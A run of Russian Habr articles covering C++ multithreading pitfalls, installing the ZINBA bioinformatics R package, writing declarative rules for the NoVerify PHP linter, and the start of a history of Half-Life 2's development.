Итак, как понять какое количество выполняющихся потоков поддерживает система? Используйте метод [std::thread::hardware\_concurrency()](https://en.cppreference.com/w/cpp/thread/thread/hardware_concurrency). Эта функция обычно возвращает количество ядер процессора, но при этом учитывает ядра, которые ведут себя как два или более логических ядер из-за [гипертрединга](https://ru.wikipedia.org/wiki/Hyper-threading).
Необходимо использовать полученное значение целевой платформы для планирования максимального количества одновременно выполняющихся потоков вашей программы. Вы также можете назначить одно ядро для всех ожидающих потоков, и использовать оставшееся количество ядер для выполняющихся потоков. Например, в четырехъядерной системе используйте одно ядро для ВСЕХ ожидающих потоков, а для остальных трех ядер — три выполняющихся потока. В зависимости от эффективности вашего планировщика потоков, некоторые из ваших исполняемых потоков могут переключать контекст (из-за сбоев доступа к страницам и т.д.), оставляя ядро бездействующим в течение некоторого времени. Если вы наблюдаете эту ситуацию во время профилирования, вам следует создать чуть большее количество выполняемых потоков, чем количество ядер, и настроить эту величину для своей системы.
### Ошибка №19: Использование ключевого слова volatile для синхронизации
Ключевое слово [volatile](https://en.cppreference.com/w/cpp/language/cv) перед указанием типа переменной не делает операции с этой переменной атомарными или потокобезопасными. То, что вы, вероятно, хотите, это *std::atomic*.
Посмотрите обсуждение на [stackoverflow](https://stackoverflow.com/questions/4557979/when-to-use-volatile-with-multi-threading) для получения подробностей.
### Ошибка №20: Использование Lock Free архитектуры, кроме случаев когда это совершенно необходимо
В сложности есть что-то, что нравится каждому инженеру. Создание программ, работающих без блокировок (lock free), звучит очень соблазнительно по сравнению с обычными механизмами синхронизации, такими как мьютекс, условные переменные, асинхронность и т. д. Однако, каждый опытный разработчик C ++, с которым я говорил, придерживался мнения, что применение программирования без блокировок в качестве исходного варианта является видом преждевременной оптимизации, которая может выйти боком в самый неподходящий момент (подумайте о сбое в эксплуатируемой системе, когда у вас нет полного дампа кучи!).
В моей карьере в C ++ была только одна ситуация, для которой требовалось выполнение кода без блокировок, потому что мы работали в системе с ограниченными ресурсами, где каждая транзакция в нашем компоненте должна была занимать не более 10 микросекунд.
Перед тем как задумываться над применением подхода разработки без блокировок, пожалуйста ответьте на три вопроса:
* Пробовали ли вы спроектировать архитектуру вашей системы таким образом, чтобы она не нуждалась в механизме синхронизации? Как правило, лучшая синхронизация– отсутствие синхронизации.
* Если вам нужна синхронизация, профилировали ли вы свой код для понимания характеристик производительности? Если да, пытались ли вы оптимизировать узкие места?
* Можете ли вы горизонтально масштабироваться вместо того чтобы масштабироваться вертикально?
Резюмируя, для обычной разработки приложений, пожалуйста, рассматривайте программирование без блокировки только тогда, когда вы исчерпали все другие альтернативы. Еще один способ взглянуть на это заключается в том, что если вы все еще делаете некоторые из вышеупомянутых 19 ошибок, вам, вероятно, следует держаться подальше от программирования без блокировок.
[От. переводчика: огромное спасибо пользователю [vovo4K](https://habr.com/ru/users/vovo4k/) за помощь в подготовке данной статьи.] | https://habr.com/ru/post/443406/ | null | ru | null |
# Установка и первичная настройка ZINBA
Заметил, что статьи получаются довольно большими, и вопросы задаются в разных направлениях. Эта статья была написана для того, чтобы собрать вопросы по установке программы ZINBA в отдельной теме. Итак, для работы с ZINBA нужно знать, как ее установить.
Подробная [инсталляция расписана на сайте разработчика на английском языке](http://code.google.com/p/zinba/wiki/Installation). Поэтому далее я кратко опишу необходимые этапы на русском. Все шаги выполнялись мною в ОС OpenSUSE 12.1 x64, но должны проходить без эксцессов и на других Linux платформах. Запускаем [R](http://www.r-project.org/) (если есть вопросы по настройке, обсудим в комментариях ), выполняем следующие команды:* system(«wget [zinba.googlecode.com/files/zinba\_2.01.tar.gz](http://zinba.googlecode.com/files/zinba_2.01.tar.gz)»). Скачивает пакет с сайта разработчика.
* install.packages(c('multicore','doMC','foreach','qvalue','quantreg','R.utils')). Устанавливает дополнительные пакеты. Появится окно со списком сайтов для загрузки, в нем выбрать сайт, с которого надо установить эти пакеты.
* install.packages(«zinba\_2.01.tar.gz», repos=NULL). Происходит установка загруженного пакета.
Теперь после любого запуска R достаточно выполнить library(zinba), чтобы активировать библиотеку. Далее рекомендуется выполнить шаги по [первичной настройке](http://code.google.com/p/zinba/wiki/UsingZINBA), а именно:
* Идем в раздел «Necessary file downloads», в подразделе «Genome Build» скачиваем один или несколько [двухбитных](http://genome.ucsc.edu/FAQ/FAQformat.html#format7) индексов генома, зависит от того с каким из них собираетесь работать.
* В подразделе «Mappability files» загружаем файл, содержащий в названии имя генома и длину ридов, как в вашем FASTA/FASTQ файле. Не забываем разархивировать его в какую-нибудь директорию. В Linux, например, скачать и разархивировать можно так: “wget [www.bios.unc.edu/~nrashid/map##.tgz;tar](http://www.bios.unc.edu/~nrashid/map##.tgz;tar) -xzvf map##.tar.gz”, где ## — число, соответствующее длине рида.
* Запускаем R, выполняем последовательно две команды: 1. generateAlignability, для создания индекса выравнивания и 2. basealigncount, для базового подсчета выравниваний; эта команда создаст файл, содержащий точную привязку пиков в несколько итераций.
Далее подробное описание этих двух команд:
```
generateAlignability(
mapdir=, #указать путь к директории, куда был развернут архив «mappability»
outdir=, #путь к директории, в которой будут обрабатываться файлы
athresh=, #количество ошибок, разрешённых при мэппинге ридов на геном
extension=, #средняя предполагаемая длина фрагментов ДНК из эксперимента
twoBitFile=, #путь до файла, двухбитного индекса генома .2bit
)
basealigncount(
inputfile=, #путь до фала с нашими экспериментальными данными, например, после bowtie
outputfile=, # путь к директории, куда выводится результат
extension=, #средняя предполагаемая длина фрагментов ДНК из эксперимента
filetype=, #тип входного файла "bed", "bowtie", or "tagAlign"
twoBitFile=, # путь до файла, двухбитного индекса генома .2bit
)
```
Первую команду рекомендуется выполнить один раз и в дальнейшем выполнять только, если меняются параметры экспериментов, такие как: количество ошибок и длина фрагментов. Вторую команду следует выполнять от эксперимента к эксперименту, и то только, если нам нужно повышать качество нахождения обогащеных регионов и пиков (так как это требует дополнительной вычислительной нагрузки).
Во время выполнения этих действий я получил ряд ошибок, пообщался со службой технической поддержки. Выяснилось, что я недостаточно хорошо прочитал инструкцию, да и у них не все гладко. Первое, если файл получен с помощью bowtie (обычный не .sam, без параметра –S), то последний столбец в файле надо попросту удалить, столбцов в файле должно быть 7. Также оказалось, что разделителем считается не только табуляция, но и пробел, поэтому следите, чтобы поля не содержали пробелы. Это актуально для версии 2.01, обещали в будущем исправить.
Сама команда нахождения обогащённых регионов описана ниже, выполняется долго и съедает все ресурсы. Я выполнял её на экспериментальных данных с 33.000.000 ридов, на 4х CPU (не путать с камнем, просто 4ре threads, один Core i7), 8Gb RAM, правда в виртуальной машине VirtualBOX, вычисления заняли 8 часов. При наличии всего 8Gb RAM ставить больше threads не рекомендую, программа будет больше работать с файлом подкачки, нежели с данными.
```
zinba(
refinepeaks=, #повышать качество пиков (очищать регион)? 1 - если да, 0 - если нет
seq=, #путь к файлу с экспериментальными данными
input=, #путь к файлу с экспериментальными данными, которые найдены на геноме, если файл доступен. По умолчанию равно ‘none’
filetype=, #формат файлов: 'bed', 'bowtie', или 'tagAlign'
threshold=, #уровень, при каком значении p value считать данные значимыми. По умолчанию менее, чем 0.05
align=, #путь к директории, указанный как outdir в функции generateAlignability
numProc=, #количество CPU должно быть меньше, чем максимально доступное количество (у Core i7 их 8, ставим 7 или меньше, по умолчанию 1)
twoBit=, #путь до файла, двухбитного индекса генома .2bit
outfile=, #путь вместе с префиксом для файла
extension=, #средняя предполагаемая длина фрагментов ДНК из эксперимента
###################
ОПЦИОНАЛЬНЫЕ ПАРАМЕТРЫ
###################
basecountfile=, #путь к basecount файлу, если параметр refinepeaks установлен в 1
broad=, #граничные значения, TRUE или FALSE (по умолчанию)
printFullOut=, #сохранять в файлы промежуточные вычисления: 1, если да (требуется много места); 0, если нет (по умолчанию)
)
```
Мы подготовили пакет к работе, теперь самое время запустить что-нибудь для его проверки. Разработчик предлагает набор файлов для теста: <http://www.unc.edu/~nur2/zinbaweb/test_data.tgz>. В командой строчке последовательно выполняем следующие действия.
```
#Открываем терминал, скачиваем в текущую директорию файлы с сайта.
wget http://hgdownload.cse.ucsc.edu/goldenPath/hg19/bigZips/hg19.2bit
wget http://www.bios.unc.edu/~nrashid/map36.tgz
wget http://www.unc.edu/~nur2/zinbaweb/test_data.tgz
#Распаковываем скаченные архивы
tar -xzvf map36.tgz
tar -xzvf test_data.tgz
#Создаем директорию для данных, например, align_athresh1_extension200
mkdir align_athresh1_extension200
#Запускаем R.
R
#в R выполняем последовательно следующие команды
library(zinba)
generateAlignability(
mapdir='map36/',
outdir='align_athresh1_extension200/',
athresh=1,
extension=200,
twoBitFile='hg18.2bit'
)
basealigncount(
inputfile='data/ctcfGM12878rep3chr22.taf',
outputfile='data/ctcfGM12878rep3chr22.basecount',
extension=200,
filetype='tagAlign',
twoBitFile='hg18.2bit' )
zinba(
align='align_athresh1_extension200/',
numProc=4,
seq='data/ctcfGM12878rep3chr22.taf',
basecountfile='data/ctcfGM12878rep3chr22.basecount',
filetype="tagAlign",
outfile="data/ctcf",
twoBit="hg18.2bit",
extension=200,
printFullOut=1,
refinepeaks=1,
broad=F,
input='data/inputGM12878rep3chr22.taf'
)
```
В директории data будут файлы с именем ctcf и расширением .peaks, .peaks.bed, которые содержат интересующие нас данные в виде [таблицы](http://code.google.com/p/zinba/wiki/PostAnalysis). Файл с расширением .bed можно загрузить в геном браузер и посмотреть.
Я работал с другими данными, взятыми с сайта NIH [www.ncbi.nlm.nih.gov/geo/roadmap/epigenomics](http://www.ncbi.nlm.nih.gov/geo/roadmap/epigenomics/), [ftp-trace.ncbi.nlm.nih.gov/sra/sra-instant/reads/ByExp/sra/SRX/SRX040/SRX040388](ftp://ftp-trace.ncbi.nlm.nih.gov/sra/sra-instant/reads/ByExp/sra/SRX/SRX040/SRX040388) (файл SRR079566.sra). Ниже приведено изображение, полученное с использованием этих данных. Похожие графики могут быть получены и при других исходных данных. С помощью красной линии я разделил картинку на две части, сверху расположены экспериментальные данные, внизу стандартная аннотация (гены, старт сайты, интроны, эксоны и т.д.). Я загрузил не только полученный bedgraph из программы ZINBA, но и исходные данные (bedgraph по исходным данным получен с помощью программы, описанной в статье [habrahabr.ru/blogs/bioinformatics/137082](http://habrahabr.ru/blogs/bioinformatics/137082/)). Для примера я выделил зелеными квадратами несколько пиков, которые были в исходных данных, и те области обогащения, которые нашла ZINBA. Отрезки, полученные из ZINBA, содержат утолщения. Эти утолщения подсчитываются при заданном параметре refignpeaks=1 и должны соответствовать наиболее обогащенной части региона.
Насколько правильно и достоверно обработаны данные, можно будет понять только после досконального изучения алгоритма и сравнения с результатом работ других программ.
Review is prepared by Andrey Kartashov, Cincinnati, OH, porter@porter.st | https://habr.com/ru/post/137524/ | null | ru | null |
# Как добавить проверки в NoVerify, не написав ни строчки Go-кода
В статическом анализаторе [NoVerify](https://github.com/VKCOM/noverify) появилась киллер-фича: декларативный способ описания инспекций, который не требует программирования на Go и компиляции кода.
Чтобы вас заинтриговать, покажу описание простой, но полезной инспекции:
```
/** @warning duplicated sub-expressions inside boolean expression */
$x && $x;
```
Эта инспекция находит все выражения логического `&&`, где левый и правый операнд идентичны.
[NoVerify](https://github.com/VKCOM/noverify) — статический анализатор для PHP, написанный на [Go](https://golang.org/). Почитать о нём можно в статье «[NoVerify: линтер для PHP от Команды ВКонтакте](https://habr.com/ru/company/vk/blog/442284/)». А в этом обзоре я расскажу о новой функциональности и том, как мы к ней пришли.
Предпосылки
===========
Когда даже для простой новой проверки нужно написать несколько десятков строк кода на Go, начинаешь задумываться: а можно ли как-то иначе?
На Go у нас написан вывод типов, весь пайплайн линтера, кеш метаданных и многие другие важные элементы, без которых работа NoVerify невозможна. Эти компоненты уникальны, а вот задачи типа «запретить вызов функции X с набором аргументов Y» — нет. Как раз для таких простых задач и добавлен механизм динамических правил.
Динамические правила позволяют отделить сложные внутренности от решения типовых задач. Файл с определениями можно хранить и версионировать отдельно — его могут редактировать люди, не имеющие отношения к разработке самого NoVerify. Каждое правило реализует инспекцию кода (которую мы иногда будем называть проверкой).
Да, если у нас есть язык описания этих правил, всегда можно написать семантически некорректный шаблон или не учесть какие-то ограничения типов — а это приводит к ложным срабатываниям. Тем не менее гонку данных или разыменование `nil`-указателя через язык правил не внести.
Язык описания шаблонов
======================
Язык описания синтаксически совместим с PHP. Это упрощает его изучение, а также даёт возможность редактировать файлы с правилами, используя тот же PhpStorm.
В самом начале файла правил рекомендуется вставить директиву, успокаивающую любимую IDE:
```
php
/**
* Отключаем все инспекции для этого файла,
* так как у нас здесь не исполняемый PHP-код.
*
* @noinspection ALL
*/
// ...А ниже — уже сами правила.</code
```
Моим первым экспериментом с синтаксисом и возможными фильтрами для шаблонов был [phpgrep](https://github.com/quasilyte/phpgrep). Он может быть полезен и сам по себе, но внутри NoVerify он стал ещё интереснее, потому что теперь он имеет доступ к информации о типах.
Некоторые мои коллеги уже попробовали phpgrep в работе, и это было ещё одним доводом в пользу выбора именно такого [синтаксиса](https://github.com/quasilyte/phpgrep/blob/master/pattern_language.md).
Сам phpgrep является адаптацией [gogrep](https://github.com/mvdan/gogrep) для PHP (вам также может быть интересен [cgrep](http://awgn.github.io/cgrep/)). С помощью этой программы можно искать код через [синтаксические шаблоны](https://www.youtube.com/watch?v=34Rk4uLPn1A).
Альтернативой мог бы быть синтаксис [structural search and replace](https://www.jetbrains.com/help/phpstorm/structural-search-and-replace.html) (SSR) из PhpStorm. Преимущества очевидны — это уже существующий формат, но я узнал об этой фиче после того, как реализовал phpgrep. Можно, конечно, привести техническое объяснение: там несовместимый с PHP синтаксис и [наш парсер](https://github.com/z7zmey/php-parser) это не осилит, — но эта убедительная «настоящая» причина обнаружилась после написания велосипеда.
**На самом деле, был ещё один вариант**
---
Можно было требовать отображения шаблона с PHP-кодом почти один в один — или пойти другим путём: изобрести новый язык, например с синтаксисом [S-выражений](https://en.wikipedia.org/wiki/S-expression).
```
PHP-like Lisp-like
-----------------------------
$x = $y | (expr = $x $y)
fn($x, 1) | (expr call fn $x 1)
Мы могли бы выражать типы и ветвление прямо внутри шаблонов:
(or (expr == (type string (expr)) (expr))
(expr == (expr) (type string (expr))))
```
В итоге я посчитал, что читабельность шаблонов всё же важна, а фильтры мы можем добавлять через атрибуты phpdoc.
[clang-query](https://devblogs.microsoft.com/cppblog/exploring-clang-tooling-part-2-examining-the-clang-ast-with-clang-query/) — пример подобной идеи, но он использует более традиционный синтаксис.
---
Создаём и запускаем свою диагностику!
=====================================
Давайте попробуем реализовать свою новую диагностику для анализатора.
Для этого вам потребуется установленный NoVerify. Возьмите [бинарный релиз](https://github.com/VKCOM/noverify/releases/tag/v0.1.0), если у вас нет Go-тулчейна в системе (если есть, можете собрать всё из исходников).
| |
| --- |
| Если вы не установите NoVerify, можете продолжить читать дальше, но делайте вид, что воспроизводите перечисляемые шаги и восхищаетесь результатом! |
Постановка задачи
-----------------
В PHP много любопытнейших функций, одна из них — [parse\_str](https://www.php.net/manual/ru/function.parse-str.php). Её сигнатура:
```
// Разбирает строку encoded_string, которая должна иметь формат
// строки запроса URL, и присваивает значения переменным в
// текущем контексте (или в массиве, если задан параметр result).
parse_str ( string $encoded_string [, array &$result ] ) : void
```
Вы поймёте, что здесь не так, если посмотрите на этот пример из документации:
```
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
```
М-м-м, параметры из строки оказались в текущей области видимости. Чтобы такого не допускать, мы будем в своей новой проверке требовать использовать второй параметр функции, `$result`, чтобы результат записывался в этот массив.
Создание своей диагностики
--------------------------
Создадим файл `myrules.php`:
```
php
/** @warning parse_str without second argument */
parse_str($_);</code
```
Файл правил в общем виде представляет собой список выражений на верхнем уровне, каждое из которых интерпретируется как phpgrep-шаблон. К каждому такому шаблону ожидается особый [phpdoc](https://www.phpdoc.org/)-комментарий. Обязательным является только один атрибут — категория ошибки с текстом предупреждения.
Всего сейчас есть четыре уровня: `error`, `warning`, `info` и `maybe`. Первые два — критические: линтер вернёт ненулевой код после выполнения, если хотя бы одно из критических правил сработает. После самого атрибута идёт текст предупреждения, который будет выдаваться линтером в случае срабатывания шаблона.
В шаблоне, который мы написали, используется `$_` — это безымянная переменная шаблона. Мы могли бы назвать её, например, `$x`, но поскольку ничего с этой переменной мы не делаем, можем дать ей «пустое» название. Отличие переменных шаблона от переменных PHP в том, что первые совпадают с абсолютно любым выражением, а не только с «дословной» переменной. Это удобно: нам гораздо чаще нужно искать неизвестные выражения, а не конкретные переменные.
Запуск новой диагностики
------------------------
Создадим небольшой тестовый файл для отладки, `test.php`:
```
php
function f($x) {
parse_str($x); // Здесь наш линтер должен ругаться
}</code
```
Далее запустим NoVerify с нашими правилами на этом файле:
```
$ noverify -rules myrules.php test.php
```
Наше предупреждение будет выглядеть примерно так:
```
WARNING myrules.php:4: parse_str without second argument at test.php:4
parse_str($x);
^^^^^^^^^^^^^
```
Названием проверки по умолчанию выступает имя rules-файла и строчка, которая определяет эту проверку. В нашем случае это `myrules.php:4`.
Можно задать своё имя, используя атрибут `@name` .
**Пример использования @name**
---
```
/**
* @name parseStrResult
* @warning parse_str without second argument
*/
parse_str($_);
```
```
WARNING parseStrResult: parse_str without second argument at test.php:4
parse_str($x);
^^^^^^^^^^^^^
```
Именованные правила поддаются законам остальным диагностик:
* Можно отключить через `-exclude-checks`
* Уровень критичности можно переопределить через `-critical`
---
Работа с типами
===============
Предыдущий пример хорош для hello world — но часто нам нужно знать типы выражений, чтобы сократить количество срабатываний диагностики
Например, для функции [in\_array](https://www.php.net/manual/ru/function.in-array.php) мы просим аргумент `$strict=true` тогда, когда первый аргумент (`$needle`) имеет строковой тип.
Для этого у нас есть фильтры результата.
Один из таких фильтров — `@type` . Он позволяет отбрасывать всё то, что не подходит под перечисляемые типы.
```
/**
* @warning 3rd arg of in_array must be true when comparing strings
* @type string $needle
*/
in_array($needle, $_);
```
Здесь мы дали имя первому аргументу вызова `in_array`, чтобы привязать к нему фильтр типа. Предупреждение будет выдаваться только тогда, когда тип `$needle` равен `string`.
Наборы фильтров можно комбинировать оператором `@or`:
```
/**
* Каждой проверке можно дать комментарий-описание.
*
* @warning strings must be compared using '===' operator
* @type string $x
* @or
* @type string $y
*/
$x == $y;
```
В примере выше шаблон будет совпадать только с теми выражениями `==`, где любой из операндов имеет тип `string`. Можно считать, что без `@or` все фильтры комбинируются через `@and`, но явно это указывать не нужно.
Ограничиваем область действия диагностики
=========================================
Для каждой проверки можно указать `@scope` :
* `@scope all` — значение по умолчанию, проверка работает везде;
* `@scope root` — запуск только на верхнем уровне;
* `@scope local` — запуск только внутри функций и методов.
Предположим, мы хотим докладывать о `return` вне тела функции. В PHP это иногда имеет смысл — например, когда файл подключается из функции… Но в рамках этой статьи мы такое осуждаем.
```
/**
* @warning don't use return outside of functions
* @scope root
*/
return $_;
```
Посмотрим, как будет вести себя это правило:
```
php
function f() {
return "OK";
}
return "NOT OK"; // Gives a warning
class C {
public function m() {
return "ALSO OK";
}
}</code
```
Аналогично можно сделать просьбу использовать `*_once` вместо `require` и `include`:
```
/**
* @maybe prefer require_once over require
* @scope root
*/
require $_;
/**
* @maybe prefer include_once over include
* @scope root
*/
include $_;
```
> Сейчас при сопоставлении шаблонов скобочки учитываются не вполне консистентно. Шаблон `(($x))` найдёт не «все выражения в двойных скобках», а просто любые выражения, игнорируя скобки. Тем не менее, `$x+$y*$z` и `($x+$y)*$z` ведут себя так, как надо. Эта особенность исходит от трудностей работы с токенами `(` и `)`, но есть шанс, что порядок будет наведён в одном из следующих релизов.
Группирование шаблонов
======================
Когда появляется дублирование phpdoc-комментариев у шаблонов, на помощь приходит возможность комбинирования шаблонов.
Простой пример для демонстрации:
| Было | Стало (с группированием) |
| --- | --- |
|
```
/** @maybe don't use exit or die */
die($_);
/** @maybe don't use exit or die */
exit($_);
```
|
```
/** @maybe don't use exit or die */
{
die($_);
exit($_);
}
```
|
А теперь представьте себе, как было бы неприятно описывать правило в следующем примере без этой особенности!
```
/**
* @warning don't compare arrays with numeric types
* @type array $x
* @type int|float $y
* @or
* @type int|float $x
* @type array $y
*/
{
$x > $y;
$x < $y;
$x >= $y;
$x <= $y;
$x == $y;
}
```
Формат записи, указанный в статье, — всего лишь один из предложенных вариантов. Если вы хотите поучаствовать в выборе, то у вас есть такая возможность: нужно ставить +1 тем предложениям, которые вам нравятся больше остальных. Подробнее — по [ссылке](https://github.com/VKCOM/noverify/issues/276).
Как интегрированы динамические правила
======================================
В момент запуска NoVerify пытается найти файл с правилами, который указан в аргументе `rules`.
Далее этот файл разбирается как обычный PHP-скрипт, и из полученного [AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree) собирается набор объектов-правил с привязанными к ним phpgrep-шаблонами.
Затем анализатор начинает работу по обычной схеме — разница только в том, что для некоторых проверяемых участков кода он запускает набор привязанных правил. Если правило срабатывает, выводится предупреждение.
Срабатыванием считается успешное сопоставление phpgrep-шаблона и прохождение хотя бы одного из наборов фильтров (они разделены `@or`).
На данном этапе механизм правил не вносит значительного замедления в работу линтера, даже если динамических правил достаточно много.
Алгоритм матчинга
-----------------
При наивном подходе для каждого AST-узла нам нужно применять все динамические правила. Это очень неэффективная реализация, потому что большая часть работы будет проделана впустую: многие шаблоны имеют определённый префикс, по которому мы можем кластеризовать правила.
Это похоже на идею [параллельного матчинга](https://swtch.com/~rsc/regexp/regexp1.html), только вместо честного построения NFA мы выполняем «параллелизацию» только первого шага вычислений.
Рассмотрим это на примере с тремя правилами:
```
/** @warning duplicated then/else parts of ternary */
$_ ? $x : $x;
/** @warning don't call explode with delim="" */
explode("", ${"*"});
/** @maybe suspicious empty body of the if statement */
if ($_);
```
Если у нас N элементов и M правил, при наивном подходе имеем N\*M операций для выполнения. В теории эту сложность можно свести к линейной и получить `O(N)` — если объединить все шаблоны в один и выполнять матчинг так, как это делает, например, пакет [regexp](https://golang.org/pkg/regexp/) из Go.
Однако на практике я пока остановился на частичной реализации такого подхода. Он позволит правила из файла выше разделить на три категории, а тем элементам AST, которым не соответствует никакое правило, присвоить четвёртую, пустую категорию. Благодаря этому на каждый элемент выполняется не более одного правила.
Если у нас появятся тысячи правил и мы будем ощущать значительное замедление, алгоритм будет доработан. А пока простота решения и полученное ускорение меня устраивают.
Муки выбора, или Немного о форме записи `@type`
-----------------------------------------------
| |
| --- |
| Задача: выбрать для фильтров хороший синтаксис в рамках phpdoc-аннотаций. |
Текущий синтаксис дублирует `@var` и `@param`, но нам могут понадобиться новые операторы, например, "тип не равен". Пофантазируем, как это могло бы выглядеть.
У нас как минимум два важных приоритета:
1. Читабельный и лаконичный синтаксис аннотаций.
2. Максимально возможная поддержка от IDE без дополнительных усилий.
Для PhpStorm есть плагин [php-annotations](https://plugins.jetbrains.com/plugin/7320-php-annotations), который добавляет автодополнение, переход к классам-аннотациям и прочие полезности для работы с phpdoc-комментариями.
Приоритет (2) на практике означает, что вы принимаете решения, которые не противоречат ожиданиям IDE и плагинов. Например, можно сделать аннотации в таком формате, который сможет распознавать плагин php-annotations:
```
/**
* Type is a filter that checks that $value
* satisfies the given type constraints.
*
* @Annotation
*/
class Filter {
/** Variable name that is being filtered */
public $value;
/** Check that value type is equal to $type */
public $type;
/** Check that value text is equal to $text */
public $text;
}
```
Тогда применение фильтра для типов выглядело бы как-то так:
```
@Type($needle, eq=string)
@Type($x, not_eq=Foo)
```
Пользователи могли бы переходить к определению `Filter`, подсказывался бы список возможных параметров (type/text/etc).
Альтернативные способы записи, некоторые из которых были предложены коллегами:
```
@type string $needle
@type !Foo $x
@type $needle == string
@type $x != Foo
@type(==) string $needle
@type(!=) Foo $x
@type($needle) == string
@type($x) != Foo
@filter type($needle) == string
@filter type($x) != Foo
```
Потом мы немного отвлеклись и забыли, что это всё внутри phpdoc, — и появилось такое:
```
(eq string (typeof $needle))
(neq Foo (typeof $x))
```
Хотя вариант с постфиксной записью в шутку тоже прозвучал. Язык для описания ограничений типов и значений можно было бы назвать sixth:
```
@eval string $needle typeof =
@eval Foo $x typeof <>
```
Поиски самого лучшего варианта всё ещё не закончены...
Сравнение расширяемости с Phan
==============================
Как одно из преимуществ [Phan](https://github.com/phan/phan) в статье "[Статический анализ PHP-кода на примере PHPStan, Phan и Psalm](https://habr.com/ru/company/badoo/blog/426605/)" указывается расширяемость.
Вот то, что было реализовано в плагине-примере:
> Мы захотели оценить, насколько наш код готов к PHP 7.3 (в частности, узнать, нет ли в нём case-insensitive-констант). Мы практически были уверены в том, что таких констант нет, но за 12 лет могло произойти всякое — следовало проверить. И мы написали плагин для Phan, который бы ругался, если бы в define() использовался третий параметр.
Так выглядит код плагина (форматирование оптимизировано по ширине):
```
php
use Phan\AST\ContextNode;
use Phan\CodeBase;
use Phan\Language\Context;
use Phan\Language\Element\Func;
use Phan\PluginV2;
use Phan\PluginV2\AnalyzeFunctionCallCapability;
use ast\Node;
class DefineThirdParamTrue
extends PluginV2
implements AnalyzeFunctionCallCapability {
public function getAnalyzeFunctionCallClosures(CodeBase $code_base) {
$def = function(CodeBase $cb, Context $ctx, Func $fn, $args) {
if (count($args) < 3) {
return;
}
$this-emitIssue(
$cb, $ctx,
'PhanDefineCaseInsensitiv',
'define with 3 arguments', []
);
};
return ['define' => $def];
}
}
return new DefineThirdParamTrue();
```
А вот как это можно было бы сделать в NoVerify:
```
php
/** @warning define with 3 arguments */
define($_, $_, $_);</code
```
Примерно такого результата мы и хотели добиться — чтобы тривиальные вещи можно было делать максимально просто.
Заключение
==========
* Попробуйте [NoVerify](https://github.com/VKCOM/noverify) в своём проекте.
* Если у вас будут идеи для доработок или отчёты о багах, [расскажите нам об этом](https://github.com/VKCOM/noverify/issues/new).
* Если вы хотите поучаствовать в разработке, [welcome](https://github.com/VKCOM/noverify/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22)!
Ссылки, полезные материалы
==========================
Здесь собраны важные ссылки, часть из которых могла уже упоминаться в статье, но для наглядности и удобства я их собрал в одном месте.
* [Статья про NoVerify на Хабре](https://habr.com/ru/company/vk/blog/442284/)
* [Статья про phpgrep на Хабре](https://habr.com/ru/post/464893/)
* [Видео доклада о phpgrep с IT Nights](https://www.youtube.com/watch?v=34Rk4uLPn1A)
* [gogrep](https://github.com/mvdan/gogrep) — поиск Go кода по синтаксическим шаблонам
* Близкая к синтаксическим шаблонам концепция [AST selectors](https://eslint.org/docs/developer-guide/selectors) из ESLint
Если вам нужны ещё примеры правил, которые можно реализовать, можете подглядеть в [тестах NoVerify](https://github.com/VKCOM/noverify/blob/master/src/linttest/rules_test.go). | https://habr.com/ru/post/473718/ | null | ru | null |
# История Half-Life 2
[](https://habrastorage.org/files/00e/089/e88/00e089e887fe4af788273cf5c318db57.jpg)
В понедельник, 9 ноября 1998 года, около четырёх часов вечера в обычном офисном комплексе где-то под Сиэттлом человек в синей рубашке берёт в руки монтировку. Он держит её обеими руками и встаёт в позу для атаки. Затем следует смачный удар по головокрабу. Набитая игровыми деньгами из «Монополии» и заводными игрушками с персонажами «Южного парка» [пиньята](https://ru.wikipedia.org/wiki/%D0%9F%D0%B8%D0%BD%D1%8C%D1%8F%D1%82%D0%B0) падает на пол. Под ликование толпы краба добивает ещё один человек. Это Гейб Ньюэлл и Майк Харрингтон, основатели компании Valve Software, празднуют выход своей первой игры Half-Life на тиражирование.
В четверг, 14 октября 2004 года, в 12:15 дня после долгих уговоров толпы уничтожить цель пораньше церемония повторяется. На этот раз Гейб в красной поло обороняется от нападения сканера из Half-Life 2. Контрольные удары для болтающихся на верёвочке кусочков пиньяты выполняет сценарист игры Марк Лэйдлоу. На «золото» вышла вторая игра серии.
Между этими датами — почти шесть лет. Про затягивание любых сроков разработки любит шутить и сама Valve. На официальной вики есть страница [Valve Time](https://developer.valvesoftware.com/wiki/Valve_Time) с забавной таблицей, набитой комичными несоответствиями. Любое обещание — от минут до месяцев — легко превращается в часы и годы.
Не стала исключением Half-Life 2: игра была в разработке почти 6 лет. По меркам игровой индустрии — это эпоха. За шесть лет игровые консоли успевают разок обновиться. Как можно было так всё затянуть и опять сорвать срок релиза?
1999 год
========
Оригинальная Half-Life вышла в конце 1998 года и была названа игрой года более 50 раз. Half-Life продавалась миллионами. Она поменяла восприятие жанра шутеров от первого лица: это больше были не интерактивные комнаты с врагами, а хоть какая-то цельная история. Half-Life выдавала свой сюжет без кат-сцен, полностью с позиции молчаливого главного героя. Сшитые экранами загрузки карты сегодня — это смешно, но тогда подобное поражало воображение.
В Valve сомнений не было: должен быть сиквел. Да, можно было бы быстренько состряпать какое-нибудь продолжение на примерно тех же технологиях, с теми же приёмами. Чем-то подобным были [Opposing Force](https://ru.wikipedia.org/wiki/Half-Life:_Opposing_Force) (1999) и [Blue Shift](https://ru.wikipedia.org/wiki/Half-Life:_Blue_Shift) (2001), разработку которых отдали Gearbox Software. Эти две игры говорят на ровно том же языке, что и Half-Life. Разве что игрока называют не [Гордоном Фриманом](https://ru.wikipedia.org/wiki/%D0%93%D0%BE%D1%80%D0%B4%D0%BE%D0%BD_%D0%A4%D1%80%D0%B8%D0%BC%D0%B5%D0%BD), а [Адрианом Шепардом](https://ru.wikipedia.org/wiki/Адриан_Шепард) или [Барни Калхауном](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D1%80%D0%BD%D0%B8_%D0%9A%D0%B0%D0%BB%D1%85%D0%B0%D1%83%D0%BD).
